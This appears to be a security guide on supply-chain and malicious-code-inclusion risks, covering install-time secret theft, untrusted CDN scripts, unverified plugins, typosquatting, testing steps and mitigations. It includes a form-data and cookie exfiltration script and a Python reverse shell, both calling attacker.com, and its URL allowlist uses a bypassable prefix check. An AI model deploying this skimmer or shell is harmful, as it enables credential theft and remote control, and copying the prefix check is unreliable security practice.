Dependencies and malicious code inclusion describe risks where applications load external code without trust or verification. A single compromised library, plugin, or external script runs with full application privileges and turns trusted execution into attacker-controlled behavior.
These attacks scale fast through supply chains. One poisoned dependency spreads data theft, command execution, or persistence across many systems, often before detection during development or deployment.
Real-World Attack Scenarios
Scenario 1: NPM Package Dependency Vulnerability
JavaScript application uses NPM package with vulnerability:
# Developer installs dependencies
npm install
# Malicious axios code executes during installation
# Steals environment variables with API keys
process.env.API_KEYS → sent to attacker
process.env.DATABASE_URL → sent to attacker
process.env.AWS_CREDENTIALS → sent to attacker
<!-- No integrity check! -->
<script src="https://cdn.example.com/jquery.js"></script>
<!-- Or loading from external domain -->
<script src="https://attacker-controlled.com/analytics.js"></script>
// Malicious JavaScript injected via CDN
document.addEventListener('submit', function(e) {
var form = e.target;
var data = new FormData(form);
// Exfiltrate form data to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: data
});
});
// Steal cookies
fetch('https://attacker.com/steal-cookies?cookies=' + document.cookie);
# Load plugins from directory
import importlib
import os
plugins_dir = '/opt/plugins'
for plugin_file in os.listdir(plugins_dir):
if plugin_file.endswith('.py'):
# Load and execute plugin WITHOUT verification
plugin = importlib.import_module(plugin_file[:-3])
plugin.initialize()
# Malicious plugin
def initialize():
import socket
# Connect back to attacker
s = socket.socket()
s.connect(('attacker.com', 4444))
# Execute commands from attacker
while True:
cmd = s.recv(1024).decode()
output = os.popen(cmd).read()
s.send(output.encode())
Real package: "lodash"
Attacker creates: "lodash-utils" or "loadash"
Developer typos in package.json:
"dependencies": {
"loadash": "^4.17.0" // Wrong spelling!
}
Installs malicious package instead of legitimate one
# Check all dependencies
npm audit
pip show --all
composer show
# Look for known vulnerabilities
# Try MITM attack on JavaScript loads
# Use Burp Suite to replace script content
# Check if application still executes malicious code
# Look for signature validation code
grep -r "verify.*signature\|check.*integrity" .
# If not found, no verification happening
<!-- With SRI hash -->
<script
src="https://cdn.example.com/jquery.js"
integrity="sha384-abc123...=="
crossorigin="anonymous">
</script>
<!-- Without SRI (VULNERABLE) -->
<script src="https://cdn.example.com/jquery.js"></script>
# Generate lock file
npm install
# Commit package-lock.json to git
# Later installs use exact versions from lock
npm ci # Install from lock file, not package.json
# Use checksums
npm install --save-exact package-name
# Verify against known good checksums
npm view package-name dist
# Skip scripts during installation
npm install --ignore-scripts
# Manually review and run if needed
npm run postinstall
ALLOWED_HOSTS = [
'https://cdn.cloudflare.com',
'https://cdn.jsdelivr.net',
]
def load_script(url):
for allowed in ALLOWED_HOSTS:
if url.startswith(allowed):
return download(url)
raise ValueError("Untrusted script source")